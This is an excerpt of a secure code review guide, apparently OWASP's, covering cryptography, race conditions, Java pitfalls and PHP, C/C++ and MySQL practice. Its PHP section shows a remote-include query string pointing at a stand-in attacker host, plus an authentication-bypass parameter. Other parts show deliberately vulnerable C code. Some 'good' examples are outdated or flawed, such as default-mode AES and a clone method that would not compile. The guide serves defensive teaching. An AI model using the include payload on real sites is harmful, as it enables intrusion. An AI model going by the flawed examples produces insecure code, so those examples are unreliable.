VULNERABLE PATTERNS EXAMPLES FOR CRYPTOGRAPHY

A secure way to implement robust encryption mechanisms within source code is by implementing FIPS[7] compliant algorithms with the use of the Microsoft Data Protection API (DPAPI)[4] or the Java Cryptography Extension (JCE)[5]. The following should be identified when establishing your cryptographic code strategy:

- Standard Algorithms
- Strong Algorithms
- Strong Key Sizes

Additionally, all sensitive data the application handles should be identified and encryption should be enforced. This includes user sensitive data, configuration data, etc. Specifically presence of the following identifies issues with Cryptographic Code:

.NET

1. Check that the Data Protection API (DPAPI) is being used
2. Verify no proprietary algorithms are being used
3. Check that RNGCryptoServiceProvider is used for PRNG
4. Verify key length is at least 128 bits

JAVA

1. Check that the Java Cryptography Extension (JCE) is being used
2. Verify no proprietary algorithms are being used
3. Check that SecureRandom (or similar) is used for PRNG
4. Verify key length is at least 128 bits

BAD PRACTICE: USE OF INSECURE CRYPTOGRAPHIC ALGORITHMS

The following algorithms are cryptographically insecure: DES and SHA-0. Below outlines a cryptographic implementation of DES (available per Using the Java Cryptographic Extensions):

```
package org.owasp.crypto;

import javax.crypto.KeyGenerator;

import javax.crypto.SecretKey;

import javax.crypto.Cipher;

import java.security.NoSuchAlgorithmException;

import java.security.InvalidKeyException;

import java.security.InvalidAlgorithmParameterException;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.BadPaddingException;

import javax.crypto.IllegalBlockSizeException;
import sun.misc.BASE64Encoder;

/**

 * @author Joe Prasanna Kumar

 * This program provides the following cryptographic functionalities

 * 1. Encryption using DES

 * 2. Decryption using DES

 *

 * The following modes of DES encryption are supported by SUNJce provider

 * 1. ECB (Electronic code Book) - Every plaintext block is encrypted separately

 * 2. CBC (Cipher Block Chaining) - Every plaintext block is XORed with the previous ciphertext block

 * 3. PCBC (Propogating Cipher Block Chaining) -

 * 4. CFB (Cipher Feedback Mode) - The previous ciphertext block is encrypted and this enciphered block is XORed with the plaintext block to produce the corresponding ciphertext block

 * 5. OFB (Output Feedback Mode) -

 *

 *         High Level Algorithm :

 * 1. Generate a DES key

 * 2. Create the Cipher (Specify the Mode and Padding)

 * 3. To Encrypt : Initialize the Cipher for Encryption

 * 4. To Decrypt : Initialize the Cipher for Decryption

 * Need for Padding :

 * Block ciphers operates on data blocks on fixed size n.

 * Since the data to be encrypted might not always be a multiple of n, the remainder of the bits are padded.

 * PKCS#5 Padding is what will be used in this program
 */
public class DES {
	public static void main(String[] args) {
		String strDataToEncrypt = new String();
		String strCipherText = new String();
		String strDecryptedText = new String();
		try{
		/**
		 *  Step 1. Generate a DES key using KeyGenerator
		 *
		 */
		KeyGenerator keyGen = KeyGenerator.getInstance("DES");
		SecretKey secretKey = keyGen.generateKey();
		/**
		 *  Step2. Create a Cipher by specifying the following parameters
		 *				a. Algorithm name - here it is DES
		 *				b. Mode - here it is CBC
		 *				c. Padding - PKCS5Padding
		 */
		Cipher desCipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
		/**
		 *  Step 3. Initialize the Cipher for Encryption
		 */
		desCipher.init(Cipher.ENCRYPT_MODE,secretKey);
		/**
```

```
         * Step 4. Encrypt the Data
         *            1. Declare / Initialize the Data. Here the data is of type
String
         *            2. Convert the Input Text to Bytes
         *            3. Encrypt the bytes using doFinal method
         */
        strDataToEncrypt = "Hello World of Encryption using DES ";
        byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();
        byte[] byteCipherText = desCipher.doFinal(byteDataToEncrypt);
        strCipherText = new BASE64Encoder().encode(byteCipherText);
        System.out.println("Cipher Text generated using DES with CBC mode and
        PKCS5 Padding is " +strCipherText);
        /**
         * Step 5. Decrypt the Data
         *            1. Initialize the Cipher for Decryption
         *            2. Decrypt the cipher bytes using doFinal method
         */

    desCipher.init(Cipher.DECRYPT_MODE,secretKey,desCipher.getParameters());
         //desCipher.init(Cipher.DECRYPT_MODE,secretKey);
        byte[] byteDecryptedText = desCipher.doFinal(byteCipherText);
        strDecryptedText = new String(byteDecryptedText);
        System.out.println(" Decrypted Text message is " +strDecryptedText);
        }
        catch (NoSuchAlgorithmException noSuchAlgo)
        {
```

```
                              System.out.println(" No Such Algorithm exists " + noSuchAlgo);
                    }
                              catch (NoSuchPaddingException noSuchPad)
                              {
                                        System.out.println(" No Such Padding exists " +
noSuchPad);
                              }
                                        catch (InvalidKeyException invalidKey)
                                        {
                                                  System.out.println(" Invalid Key " + invalidKey);
                                        }
                                        catch (BadPaddingException badPadding)
                                        {
                                                  System.out.println(" Bad Padding " + badPadding);
                                        }
                                        catch (IllegalBlockSizeException illegalBlockSize)
                                        {
                                                  System.out.println(" Illegal Block Size " +
illegalBlockSize);
                                        }
                                        catch (InvalidAlgorithmParameterException invalidParam)
                                        {
                                                  System.out.println(" Invalid Parameter " +
invalidParam);                          }
          }
}
```

Additionally, SHA-1 and MD5 should be avoided in new applications moving forward.

GOOD PATTERNS EXAMPLES FOR CRYPTOGRAPHY

GOOD PRACTICE: USE STRONG ENTROPY

The following source code outlines secure key generation per use of strong entropy (available per Using the Java Cryptographic Extensions):

```
package org.owasp.java.crypto;

import java.security.SecureRandom;

import java.security.NoSuchAlgorithmException;

import sun.misc.BASE64Encoder;

/**

 * @author Joe Prasanna Kumar

 * This program provides the functionality for Generating a Secure Random Number.

 *

 * There are 2 ways to generate a  Random number through SecureRandom.

 * 1. By calling nextBytes method to generate Random Bytes

 * 2. Using setSeed(byte[]) to reseed a Random object

 *

 */

public class SecureRandomGen {

	/**

	 * @param args

	 */

	public static void main(String[] args) {
```

```
                try {

            // Initialize a secure random number generator

            SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");


            // Method 1 - Calling nextBytes method to generate Random Bytes

            byte[] bytes = new byte[512];

            secureRandom.nextBytes(bytes);



            // Printing the SecureRandom number by calling
secureRandom.nextDouble()

            System.out.println(" Secure Random # generated by calling nextBytes() is " +
secureRandom.nextDouble());


            // Method 2 - Using setSeed(byte[]) to reseed a Random object

            int seedByteCount = 10;

            byte[] seed = secureRandom.generateSeed(seedByteCount);



            // TBR System.out.println(" Seed value is " + new
BASE64Encoder().encode(seed));

            secureRandom.setSeed(seed);

            System.out.println(" Secure Random # generated using setSeed(byte[]) is  " +
secureRandom.nextDouble());

         } catch (NoSuchAlgorithmException noSuchAlgo)

                {

                        System.out.println(" No Such Algorithm exists " + noSuchAlgo);

                }

        }
```

```
}
```

GOOD PRACTICE: USE STRONG ALGORITHMS

Below illustrates the implementation of AES (available per Using the Java Cryptographic Extensions):

```
package org.owasp.java.crypto;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import java.security.InvalidKeyException;
import java.security.InvalidAlgorithmParameterException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import sun.misc.BASE64Encoder;

/**
 * @author Joe Prasanna Kumar
 * This program provides the following cryptographic functionalities
 * 1. Encryption using AES

 * 2. Decryption using AES
 *
 * High Level Algorithm :
 * 1. Generate a DES key (specify the Key size during this phase)
 * 2. Create the Cipher
 * 3. To Encrypt : Initialize the Cipher for Encryption
 * 4. To Decrypt : Initialize the Cipher for Decryption
 *
 *
 */
```

```
public class AES {

        public static void main(String[] args) {


                String strDataToEncrypt = new String();

                String strCipherText = new String();

                String strDecryptedText = new String();


                try{

                /**

                 *  Step 1. Generate an AES key using KeyGenerator

                 *                      Initialize the keysize to 128

                 *

                 */

                KeyGenerator keyGen = KeyGenerator.getInstance("AES");

                keyGen.init(128);

                SecretKey secretKey = keyGen.generateKey();


                /**

                 *  Step2. Create a Cipher by specifying the following parameters

                 *                              a. Algorithm name - here it is AES

                 */


                Cipher aesCipher = Cipher.getInstance("AES");


                /**
```

```
             *  Step 3. Initialize the Cipher for Encryption
             */

            aesCipher.init(Cipher.ENCRYPT_MODE,secretKey);

            /**
             *  Step 4. Encrypt the Data
             *                    1. Declare / Initialize the Data. Here the data is of type
String
             *                    2. Convert the Input Text to Bytes
             *                    3. Encrypt the bytes using doFinal method
             */
            strDataToEncrypt = "Hello World of Encryption using AES ";
            byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();
            byte[] byteCipherText = aesCipher.doFinal(byteDataToEncrypt);
            strCipherText = new BASE64Encoder().encode(byteCipherText);
            System.out.println("Cipher Text generated using AES is " +strCipherText);

            /**
             *  Step 5. Decrypt the Data
             *                    1. Initialize the Cipher for Decryption
             *                    2. Decrypt the cipher bytes using doFinal method
             */

        aesCipher.init(Cipher.DECRYPT_MODE,secretKey,aesCipher.getParameters());
            byte[] byteDecryptedText = aesCipher.doFinal(byteCipherText);
            strDecryptedText = new String(byteDecryptedText);

            System.out.println(" Decrypted Text message is " +strDecryptedText);

            }


            catch (NoSuchAlgorithmException noSuchAlgo)

            {

                    System.out.println(" No Such Algorithm exists " + noSuchAlgo);

            }


                    catch (NoSuchPaddingException noSuchPad)

                    {

                            System.out.println(" No Such Padding exists " +
noSuchPad);

                    }


                            catch (InvalidKeyException invalidKey)

                            {

                                    System.out.println(" Invalid Key " + invalidKey);

                            }


                            catch (BadPaddingException badPadding)

                            {

                                    System.out.println(" Bad Padding " + badPadding);

                            }
```

```
                    catch (IllegalBlockSizeException illegalBlockSize)
                    {
                            System.out.println(" Illegal Block Size " +
illegalBlockSize);
                    }


                    catch (InvalidAlgorithmParameterException invalidParam)
                    {
                            System.out.println(" Invalid Parameter " +
invalidParam);
                    }
     }


}
```

LAWS AND REGULATIONS ON CRYPTOGRAPHY

There are a number of countries in which encryption is outlawed. As a result, the development or use of applications that deploy cryptographic processes could have an impact depending on location. The following crypto law survey attempts to give an overview on the current state of affairs regarding cryptography on a per country basis [8]

DESIGN AND IMPLEMENTATION

SPECIFICATION DEFINITIONS

Any code implementing cryptographic processes and algorithms should be audited against a set of specifications. This will have as an objective to capture the level of security the software is attempting to meet and thus offer a measure point with regards to the cryptography used.

LEVEL OF CODE QUALITY

Cryptographic code written or used should be of the highest level in terms of implementation. This should include simplicity, assertions, unit testing, as well as modularization.

SIDE CHANNEL AND PROTOCOL ATTACKS

As an algorithm is static in nature, its use over a communication medium constitutes a protocol. Thus issues relating to timeouts, how a message is received and over what channel should be considered.

REFERENCES

[1] Bruce Schneier, Applied Cryptography, John Wiley & Sons, 2nd edition, 1996.

[2] Michael Howard, Steve Lipner, The Security Development Lifecycle, 2006, pp. 251 - 258

[3] .NET Framework Developer's Guide, Cryptographic Services, http://msdn2.microsoft.com/en-us/library/93bskf9z.aspx

[4] Microsoft Developer Network, Windows Data Protection, http://msdn2.microsoft.com/en-us/library/ms995355.aspx

[5] Sun Developer Network, Java Cryptography Extension, http://java.sun.com/products/jce/

[6] Sun Developer Network, Cryptographic Service Providers and Clean Room Implementations, http://java.sun.com/products/jce/jce122_providers.html

[7] Federal Information Processing Standards, http://csrc.nist.gov/publications/fips/

[8] Bert-Jaap Koops, Crypto Law Survey, 2007, http://rechten.uvt.nl/koops/cryptolaw/

REVIEWING CODE FOR RACE CONDITIONS

INTRODUCTION

Race conditions: Race Conditions occur when a piece of code does not work as it is supposed to (like many security issues). They are the result of an unexpected ordering of events which can result in the finite state machine of the code to transition to a undefined state and also give rise to contention of more than one thread of execution over the same resource. Multiple threads of execution acting or manipulating the same area in memory or persisted data which gives rise to integrity issues.

HOW THEY WORK

With competing tasks manipulating the same resource we can easily get a race condition as the resource is not in step-lock or utilizes a token based multi-use system such as semaphores.

Say we have two processes (Thread 1, T1) and (Thread 2, T2). The code in question adds 10 to an integer X.

The initial value of X is 5.

X = X + 10

So with no controls surrounding this code in a multithreaded environment we get the following problem:

```
T1 places X into a register in thread 1
T2 places X into a register in thread 2
T1 adds 10 to the value in T1's register resutling in 15
T2 adds 10 to the value in T2's register resulting in 15
T1 saves the register value (15) into X.
T1 saves the register value (15) into X.
```

The value should actually be 25 as each Thread added 10 to the initial value of 5. But the actual value is 15 due to T2 not letting T1 save into X before it takes a value of X for its addition.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

.NET

Look for code which used multithreaded environments:

Keywords such as:

Thread

System.Threading

ThreadPool

System.Threading.Interlocked

JAVA

java.lang.Thread

start()

stop()

destroy()

init()

synchronized

wait()

notify()

notifyAll()

VULNERABLE PATTERNS FOR RACE CONDITIONS

Static methods (One per class, not one per object) are an issue perticularly if there is a shared state among multiple threads. For example in Apache struts static members should not be used to store information relating to a particular request. The same instance of a class can be used by multiple threads and the value of the static member can not be guaranteed.

Instances of classes do not need to be thread safe as one is made per operation/request. Static states must be thread safe.

1. References to static variables, these much be thread locked.

2. Releasing a lock in places other then finally{} may cause issues

3. Static methods that alter static state

RELATED ARTICLES

http://msdn2.microsoft.com/en-us/library/f857xew0(vs.71).aspx

LANGUAGE SPECIFIC BEST PRACTICE

JAVA GOTCHAS

EQUALITY

Object equality is tested using the == operator, while value equality is tested using the .equals(Object) method. For example:

```
String one = new String("abc");
String two = new String("abc");
String three = one;
if (one != two) System.out.println("The two objects are not the same.");
if (one.equals(two)) System.out.println("But they do contain the same value");
if (one == three) System.out.println("These two are the same, because they use the same
reference.");
```

The output is:

```
The two objects are not the same.

But they do contain the same value

These two are the same, because they use the same reference.
```

Also, be aware that:

```
String abc = "abc"
```

and

```
String abc = new String("abc");
```

are different. For example, consider the following:

```
String letters = "abc";
String moreLetters = "abc";
System.out.println(letters==moreLetters);
```

The output is: true

This is due to the compiler and runtime efficiency. In the compiled class file only one set of data "abc" is stored, not two. In this situation only one object is created, therefore the equality is true between these object. However, consider this:

```
String data = new String("123");
String moreData = new String("123");
System.out.println(data==moreData);
```

The output is: false

Even though one set of data "123" is stored in the class this is still treated differently at runtime. An explicit instantiation is used to create the String objects. Therefore, in this case, two objects have been created, so the equality is false. It is important to note that "==" is always used for object equality and does not ever refer to the values in an object. Always use .equals when checking looking for a "meaningful" comparison.

IMMUTABLE OBJECTS / WRAPPER CLASS CACHING

Since Java 5, wrapper class caching was introduced. The following is an examination of the cache created by an inner class, IntegerCache, located in the Integer cache. For example, the following code will create a cache:

```
Integer myNumber = 10
```

or

```
Integer myNumber = Integer.valueOf(10);
```

256 Integer objects are created in the range of -128 to 127 which are all stored in an Integer array. This caching functionality can be seen by looking at the inner class, IntegerCache, which is found in Integer:

```
 private static class IntegerCache
 {
   private IntegerCache(){
   static final Integer cache[] = new Integer[-(-128) + 127 + 1];

   static
```

```
  {
    for(int i = 0; i < cache.length; i++)
    cache[i] = new Integer(i - 128);
  }
}

public static Integer valueOf(int i)
{
          final int offset = 128;
          if (i >= -128 && i <= 127) // must cache
      {
             return IntegerCache.cache[i + offset];
          }
      return new Integer(i);
}
```

So when creating an object using Integer.valueOf or directly assigning a value to an Integer within the range of -128 to 127 the same object will be returned. Therefore, consider the following example:

```
Integer i = 100;

Integer p = 100;
if (i == p)  System.out.println("i and p are the same.");
if (i != p)   System.out.println("i and p are different.");
if(i.equals(p))  System.out.println("i and p contain the same value.");
```

The output is:

```
i and p are the same.

i and p contain the same value.
```

It is important to note that object i and p only equate to true because they are the same object, the comparison is not based on the value, it is based on object equality. If Integer i and p are outside the range of -128 or 127 the cache is not used, therefore new objects are created. When doing a comparison for value always use the ".equals" method. It is also important to note that instantiating an Integer does not create this caching. So consider the following example:

```
Integer i = new Integer (100);
Integer p = new Integer(100);
if(i==p) System.out.println("i and p are the same object");
if(i.equals(p)) System.out.println(" i and p contain the same value");
```

In this circumstance, the output is only:

```
i and p contain the same value
```

Remember that "==" is always used for object equality, it has not been overloaded for comparing unboxed values.

This behavior is documented in the Java Language Specification section 5.1.7. Quoting from there:

If the value *p* being boxed is true, false, a byte, a char in the range \u0000 to \u007f, or an int or short number between -128 and 127, then let *r1* and *r2* be the results of any two boxing conversions of *p*. It is always the case that *r1* == *r2*.

The other wrapper classes (Byte, Short, Long, Character) also contain this caching mechanism. The Byte, Short and Long all contain the same caching principle to the Integer object. The Character class caches from 0 to 127. The negative cache is not created for the Character wrapper as these values do not represent a corresponding character. There is no caching for the Float object.

BigDecimal also uses caching but uses a different mechanism. While the other objects contain a inner class to deal with caching this is not true for BigDecimal, the caching is pre-defined in a static array and only covers 11 numbers, 0 to 10:

```
// Cache of common small BigDecimal values.

private static final BigDecimal zeroThroughTen[] = {

new BigDecimal(BigInteger.ZERO,            0,  0),

new BigDecimal(BigInteger.ONE,             1,  0),

new BigDecimal(BigInteger.valueOf(2),      2,  0),

new BigDecimal(BigInteger.valueOf(3),      3,  0),

new BigDecimal(BigInteger.valueOf(4),      4,  0),

new BigDecimal(BigInteger.valueOf(5),      5,  0),
new BigDecimal(BigInteger.valueOf(6),        6,  0),
new BigDecimal(BigInteger.valueOf(7),        7,  0),
new BigDecimal(BigInteger.valueOf(8),        8,  0),
new BigDecimal(BigInteger.valueOf(9),        9,  0),
new BigDecimal(BigInteger.TEN,               10, 0),
};
```

As per Java Language Specification(JLS) the values discussed above are stored as immutable wrapper objects. This caching has been created because it is assumed these values / objects are used more frequently.

INCREMENTING VALUES

Be careful of the post-increment operator:

```
 int x = 5;
 x = x++;
 System.out.println( x );
```

The output is: 5

Remember that the assignment completes before the increment, hence post-increment. Using the pre-increment will update the value before the assignment. For example:

```
int x = 5;
x = ++x;
System.out.println( x );
```

The output is: 6

GARBAGE COLLECTION

By overriding "finalize()" will allow you to define you own code for what is potentially the same concept as a destructor. There are a couple of important points to remember:

- "finalize()" will only ever by called once (at most) by the Garbage Collector.
- It is never a guarantee that "finalize()" will be called i.e that an object will be garbage collected.
- By overriding "finalize()" you can prevent an object from ever being deleted. For example, the object passes a reference of itself to another object.
- Garbage collection behaviour differs between JVMs.

BOOLEAN ASSIGNMENT

Everyone appreciates the difference between "==" and "=" in Java. However, typos and mistakes are made, often the compiler will catch them. However, consider the following:

```
boolean theTruth = false;
if (theTruth = true)
{
        System.out.println("theTruth is true");
}
        else
{
         System.out.println("theTruth is false;");
}
```

The result of any assignment expression is the value of the variable following the assignment. Therefore, the above will always result in "theTruth is true". This only applies to booleans, so for example the following will not compile and would therefore be caught by the compiler:

```
int i = 1;

if(i=0) {}
```

As "i" is and integer the comparison would evaluate to (i=0) as 0 is the result of the assignment. A boolean would be expected, due the "if" statement.

CONDITIONS

Be on the look out for any nested "else if". Consider the following code example:

```
int x = 3;
if (x==5) {}

else if (x<9)
{
          System.out.println("x is less than 9");
}
          else if (x<6)
{
           System.out.println("x is less than 6");
}
          else
{
           System.out.println("else");
}
```

Produces the output:

```
x is less then 9
```

So even though the second else if would equate to "true" it is never reached. This is because once an "else if" succeeds the remaining conditions will be not be processed.

JAVA LEADING SECURITY PRACTICE

INTRODUCTION

This section covers the main Java-centric areas which are prescribed as leading security practices when developing Java applications and code. So when we are performing a code review on Java code we should look at the following areas of concern. Getting developers to adopt leading practice techniques gives the inherent basic security features all code should have, "Self Defending Code".

CLASS ACCESS

1. Methods
2. Fields
3. Mutable Objects

Put simply, don't have public fields or methods in a class unless required. Every method, field, or class that is not private is a potential avenue of attack. Provide accessors to them so you can limit their accessibility.

INITIALISATION

Allocation of objects without calling a constructor is possible. One does not neet to call a constructor to instantiate an object, so dont rely on initialization as there are many ways to allocate uninitialized objects.

1. Get the class to verify that it has been initialized prior to it performing any function.

Add a boolean that is set to "TRUE" when initialized, make this private. This can be checked when required by all non-constructor methods.

1. Make all variables private and use setters/getters.

2. Make static variables private, this prevents access to uninitialized variables.

FINALITY

Non-Final classes let an attacker extend a class in a malicious manner. An application may have a USER object which by design would never be extended, so implementing this class as Final would prevent malicious code extending the user class. Non-final classes should be such for a good reason. Extensibility of classes should be enabled if it is required not simply for the sake of being extensible.

SCOPE

Package scope is really used so there are no naming conflicts for an application especially when reusing classes from another framework. Packages are by default open, not sealed which means a rogue class can be added to your package. If such a rogue class was added to a package the scope of protected fields would not yield any security. By default all fields and methods not declared public or private are protected and can only be accessed within the same package, don’t rely on this for security.

INNER CLASSES

Simply put, when translated into bytecode, inner classes are "rebuilt" as external classes in the same package. This means any class in the package can access this inner class. The owner/enclosing/father classes’ private fields are morphed into protected fields as they are accessible by the now external inner class.

HARD CODING

Don't hard code any passwords, user ID's, etc in your code. Silly and bad design. Can be decompiled. Place them in a protected directory in the deployment tree.

CLONEABILITY

Override the clone method to make calsses unclonable unless required. Cloning allows an attacker to instantiate a class without running any of the class constructors. Define the following method in each of your classes:

```
public final Object clone() throws java.lang.CloneNotSupportedException {
  throw new java.lang.CloneNotSupportedException();
  }
```

If clone is required one can make ones clone method immune to overriding by using the final keyword:

```
public final void clone() throws java.lang.CloneNotSupportedException {
 super.clone();
 }
```

SERIALIZATION/DESERIALIZATION

Serialization can be used to save objects when the JVM is "switched off". Serialization flattens the object and saves it as a stream of bytes. Serialization can allow an attacker to view the inner stste of an object and even see the status of the private attributes.

To prevent serialization of ones objects the following code can be included in the object.

```
private final void writeObject(ObjectOutputStream out)
 throws java.io.IOException {
   throw new java.io.IOException("Object cannot be serialized");
 }
```

writeObject() is the method which kicks-off the serialization procedure. by overriding this method to throw an exception and making it final the object can not be serialized.

When Serialization of objects occurs transient data gets dropped so "tagging" sensitive information as transient protects against serialization attacks.

Deserialization can be used to construct and object from a stream of bytes which may mimic a ligitimate class. This could be used by an attacker to instantiate an objects state. As with object serialization, deserialization can be prevented by overriding its corresponding method call readObject().

```
private final void readObject(ObjectInputStream in)
  throws java.io.IOException {
   throw new java.io.IOException("Class cannot be deserialized");
 }
```

PHP SECURITY LEADING PRACTICE

GLOBAL VARIABLES

One does not need to explicitly create "global variables" this is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0

Include directives in PHP can be vulnerable if register_globals is enabled.

```
<?PHP
include "$dir/script/dostuff.php";
?>
```

With register_globals enabled the $dir variable can be passed in via the query string:

?dir=http://www.haxor.com/gimmeeverything.php

This would result in the $dir being set to:

```
<?PHP
include "http://www.haxor.com/gimmeeverything.php";
?>
```

Appending global variables to the URL may be a way to circumvent authentication:

```
<?PHP
if(authenticated_user())
{
        $authorised=true;
}
if($authorised)
{
        give_family_jewels()
}
?>
```

if this page was requested with register_globals enabled using the following parameter ?authorised=1 in the query string the athentication functionalotu assuems the used is authorised to proceed. Without register_globals enabled the variable $authorised would not be affected by the $authorised=1 parameter.

INITIALIZATION

When reviewing PHP code make sure you can see the initialization value is in a "secure default" state. For example $authorised = false;

ERROR HANDLING

If possible check if one has turned off error reporting via php.ini and if "error_reporting" off. It is prudent to examine if **E_ALL** is enabled, this ensures all errors and warnings are reproted. **display_errors** should be set to **off** in production

FILE MANIPULATION

allow_url_fopen enabled by default in PHP.ini This allows URL's to be treated like local files. URL's with malicious scripting may be included and treated like a local file.

FILES IN THE DOCUMENT ROOT

At times one must have include files in the document root and these *.inc files are not to be accessed directly. If this is the case and during the review you find such files in the root then examine httpd.conf to see if anything such as

```
<Files"\.inc">
  Order allow, deny
  deny from all
</Files>
```

HTTP REQUEST HANDLING

The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes.

http://www.example.com/dispatch.php?fid=dostuff

Relating to security it is leading practice to implement validation at the top of this file. All other modules required can be **include** or **require** and in a different directory.

Including a method: If a dispatch.php method is not being used look for includes at the top of each php file. The **include** method may set a state such that the request can proceed.

It may be an idea to check out PHP.ini and look for the **auto_prepend_file** directive. This may reference an automatic include for all files.

POSITIVE INPUT VALIDATION

Input validation: strip_tags(): Removes any HTML from a String nl2br(): Converts new line characters to HTML break "br" htmlspecialchars():Convert special characters to HTML entities

C/C++ SECURITY LEADING PRACTICE

STRINGS AND INTEGERS

INTRODUCTION:

Strings are not a defined Type in C or C++ but simply a contigous array of characters terminated by a null (\0) character The length of the string is the amount of characters which preseed the null character. C++ does contain template classes which address this feature of the programming language: **std::basic_string** and **std::string** These classes address some security issues but not all.

|W|E|L|C|O|M|E|\0|

COMMON STRING ERRORS

Common string errors can be related to mistakes in implementation which may cause drastic security and availability issues. C/C++ do not have the comfort other programming languages provide such as Java and C# .NET relating to buffer overflows and such due to a String Type not being defined.

Common issues include:

1. Input validation errors
2. Unbounded Errors
3. Truncation issues
4. Out-of-bounds writes
5. String Termination Errors
6. Off-by-one errors`

Some of the issues mentioned above have been covered in the "Reviewing Code for Buffer Overruns and Overflows" section previously in this guide.

UNBOUNDED ERRORS

STRING COPIES

Occur when data is copied from a unbounded source to a fixed length character array

```
void main(void) {
        char Name[10];
        puts("Enter your name:");

       gets(Name); <-- Here the name input by the user can be of arbitary length over
running the Name array.
       ...
}
```

STRING TERMINATION ERRORS

Failure to properly terminate strings with a null can result in system failure

```
int main(int argc, char* argv[]) {
       char a[16];
        char b[16];
        char c[32];
        strncpy(a, "0123456789abcdef", sizeof(a));
        strncpy(b, "0123456789abcdef", sizeof(b));
        strncpy(c, a, sizeof(c));
}
```

It is recommended that it should be verified that the following is used:

strncpy() instead of strcpy()

snprintf() instead of sprintf()

fgets() instead of gets()

OFF BY ONE ERROR

(Looping through arrays should be looped in a n-1 manner as we must remember arrays and vectors start as 0. This is not specific to C/C++ but Java and C# also.)

Off-by-one errors are common to looping functionality wherein a looping functionality is performed on an object inorder to manipulate the contents of an object such as copy or add information. The off-by-one error is a result of an error on the loop counting functionality.

```
for (i = 0; i < 5; i++) {
  /* Do Stuff */
}
```

Here i starts with a value of 0, it then increments to 1, then 2,3 & 4. When i reaches 5 then the condition i<5 is false and the loop terminates.

If the condition was set such that i<=5 (less than or equal to 5) the loop wont terminate until i reaches 6 which may not be what is intended.

Also counting from 1 instead of 0 can cause similar issues as there would be one less iterations. Both of these issues relate to a off-by-one error where the loop either under or over counts.

ISSUES WITH INTEGERS

INTEGER OVERFLOWS

When an integer is increased beyond its maximum range or decreased below its minimum value overflows occur. Overflows can be signed or unsigned. Signed when the overflow carries over to the sign bit unsigned when the value being intended to be represented in no longer represented correctly.

```
int x;
x = INT_MAX; // 2,147,483,647
x++;
```

Here x would have the value of -2,147,483,648 after the increment

It is important when reviewing the code that some measure should be implemented such that the overflow does not occur. This is not the same as relying on the value "never going to reach this value (2,147,483,647)". This may be done by some supporting logic or a post increment check.

```
unsigned int y;
y = UINT_MAX; // 4,294,967,295;
y++;
```

Here y would have a value of 0 after the increment

Also here we can see the result of an unsigned int being incremented which loops the integer back to the value 0 As before this should also be examined to see if there are any compensating controls to prevent this from happening.

INTEGER CONVERSION

When converting from a signed to an unsigned integer care must also be taken to prevent a representation error.

```
int x = -3;
unsigned short y;
y = x;
```

Here y would have the value of 65533 due to the loopback effect of the conversion from signed to unsigned.

MYSQL LEADING SECURITY PRACTICE

REVIEWING MYSQL SECURITY

INTRODUCTION

As part of the code review you may need to step outside the code review box to assess the security of a database such as MySQL. The following covers areas which could be looked at:

PRIVILEGES

Grant_priv:

Allows users to grant privileges to other users. This shoudl be appropriately restricted to the DBA and Data (Table) owners.

```
Select * from user
where Grant_priv = 'Y';

Select * from db
where Grant_priv = 'Y';

Select * from host
where Grant_priv = 'Y';


Select * from tables_priv

where Table_priv = 'Grant';
```

Alter_priv:

Determine who has access to make changes to the database structure (alter privilege) at a global, database and table.

Select * from user
where Alter_priv = 'Y';

Select * from db
where Alter _priv = 'Y';

Select * from host
where Alter_priv = 'Y';

Select * from tables_priv
where Table_priv = 'Alter';

MYSQLD CONFIGURATION FILE

Check for the following:

a)skip-grant-tables

b)safe-show-database

c)safe-user-create

a)This option causes the server not to use the privilege system at all. All users have full access to all tables **b)**When the **SHOW DATABASES** command is executed it returns only those databases for which the user has some kind of privilege. Default since MySQL v4.0.2. **c)**With this enabled a user can't create new users with the GRANT command as long as the user does not have the **INSERT** privilege for the **mysql.user table**.

USER PRIVILEGES

Here we can check which users have access to perform potentially malicious actions on the database. "Least privilege" is the key point here:

```
Select * from user where
Select_priv  = 'Y' or Insert_priv  = 'Y'
or Update_priv = 'Y' or Delete_priv  = 'Y'
or Create_priv = 'Y' or Drop_priv    = 'Y'
or Reload_priv = 'Y' or Shutdown_priv = 'Y'
or Process_priv = 'Y' or File_priv    = 'Y'
or Grant_priv   = 'Y' or References_priv = 'Y'
or Index_priv = 'Y' or Alter_priv = 'Y';

Select * from host
where Select_priv  = 'Y' or Insert_priv  = 'Y'
or Create_priv = 'Y' or Drop_priv    = 'Y'
or Index_priv = 'Y' or Alter_priv = 'Y';
or Grant_priv   = 'Y' or References_priv = 'Y'
or Update_priv = 'Y' or Delete_priv  = 'Y'

Select * from db
where Select_priv  = 'Y' or Insert_priv  = 'Y'
or Grant_priv   = 'Y' or References_priv = 'Y'
or Update_priv = 'Y' or Delete_priv  = 'Y'
or Create_priv = 'Y' or Drop_priv    = 'Y'
or Index_priv = 'Y' or Alter_priv = 'Y';
```

DEFAULT MYSQL ACCOUNTS

The default account in MySQl is "root"/"root@localhost" with a blank password. We can check if the root account exists by:

```
SELECT User, Host
FROM user
WHERE User = 'root';
```

REMOTE ACCESS

MySQL by default listens on port 3306. If the app server is on localhost also we can disable this port by adding **skip-networking** to the [mysqld] in the my.cnf file.

AUTOMATING CODE REVIEWS

PREFACE

While manual code reviews can find security flaws in code, they suffer from two problems. Manual code reviews are slow, covering 100-200 lines per hour on average. Also, there are hundreds of security flaws to look for in code, while humans can only keep about seven items in memory at once. Source code analysis tools can search a program for hundreds of different security flaws at once at a rate far greater than any human can review code. However, these tools don't eliminate the need for a human reviewer, as they produce both false positive and false negative results.

REASONS FOR USING AUTOMATED TOOLS:

In large scale code review operations for enterprises such that the volume of code is enormous automated code review techniques can assist in improving the throughput of the code review process.

EDUCATION AND CULTURAL CHANGE:

Educating developers to write secure code is the paramount goal of a secure code review. Taking code review from this standpoint is the only way to promote and improve code quality. Part of the education process is to empower devlopers with the knowledge in order to write better code.

